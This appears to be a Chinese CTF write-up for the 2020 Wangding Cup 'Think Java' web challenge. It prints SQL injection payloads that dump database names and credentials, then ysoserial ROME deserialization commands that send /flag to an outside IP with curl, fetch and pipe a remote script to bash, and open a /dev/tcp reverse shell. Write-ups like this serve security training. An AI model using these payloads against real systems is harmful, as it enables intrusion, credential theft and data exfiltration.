网鼎杯2020朱雀组-web(Think Java)

下载class.zip解压后用jd-gui查看源码,我是用jd-gui弄出来然后sublime看的网鼎杯2020朱雀组-web(Think Java)_第1张图片
在/common/test/sqlDict有个注入
网鼎杯2020朱雀组-web(Think Java)_第2张图片
主要是SqlDict.class
网鼎杯2020朱雀组-web(Think Java)_第3张图片
下面注入即可dbName=myapp?useUnicode=true’union/**/select/**/1
这里用post或者get提交都行
网鼎杯2020朱雀组-web(Think Java)_第4张图片

dbName=myapp?useUnicode=true'union/**/select/**/group_concat(SCHEMA_NAME)from(information_schema.schemata)#

dbName=myapp?useUnicode=true'union/**/select/**/group_concat(column_name)from(information_schema.columns)where(table_name='user')and(table_schema='myapp')#

dbName=myapp?useUnicode=true'union/**/select/**/group_concat(name)from(user)#

dbName=myapp?useUnicode=true'union/**/select/**/group_concat(pwd)from(user)#

得到用户名密码admin admin@Rrrr_ctf_asde
网鼎杯2020朱雀组-web(Think Java)_第5张图片
有一个 swagger-ui.html
网鼎杯2020朱雀组-web(Think Java)_第6张图片
/common/user/login 可以登录
网鼎杯2020朱雀组-web(Think Java)_第7张图片
返回一个auth 头

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

关于这段data
网鼎杯2020朱雀组-web(Think Java)_第8张图片
上图截取自博文[网鼎杯 2020 朱雀组]Think Java

/common/user/current 查看用户信息
网鼎杯2020朱雀组-web(Think Java)_第9张图片
auth 头是一个序列化后的信息,在查看用户信息时提交这个Bearer token进行反序列化

用ysoserial 打 ysoserial Java 反序列化系列第一集 Groovy1
java反序列化工具ysoserial分析– angelwhu
玩转Ysoserial-CommonsCollection的七种利用方式分析

java -jar ysoserial-master.jar ROME "curl http://174.1.99.55 -d @/flag" > test.bin

再用python处理下

import base64
file = open("test.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print("Bearer "+ba)
file.close()

网鼎杯2020朱雀组-web(Think Java)_第10张图片
/common/user/current打过去反序列化
网鼎杯2020朱雀组-web(Think Java)_第11张图片
小号开个靶机监听80端口
网鼎杯2020朱雀组-web(Think Java)_第12张图片
尝试弹shell

java -jar ysoserial-master.jar ROME "curl http://174.1.99.55/index|bash" > test.bin

index文件: bash -i >& /dev/tcp/174.1.99.55/80 0>&1
能收到但没shell
网鼎杯2020朱雀组-web(Think Java)_第13张图片

java -jar ysoserial-master.jar ROME "bash -i >& /dev/tcp/174.1.99.55/80 0>&1" > test.bin

这种干脆没反应。。

参考:

https://www.cnblogs.com/h3zh1/p/12914439.html
https://www.xmsec.cc/wang-ding-bei-2020-web-writeup/

你可能感兴趣的:(网鼎杯2020朱雀组-web(Think Java))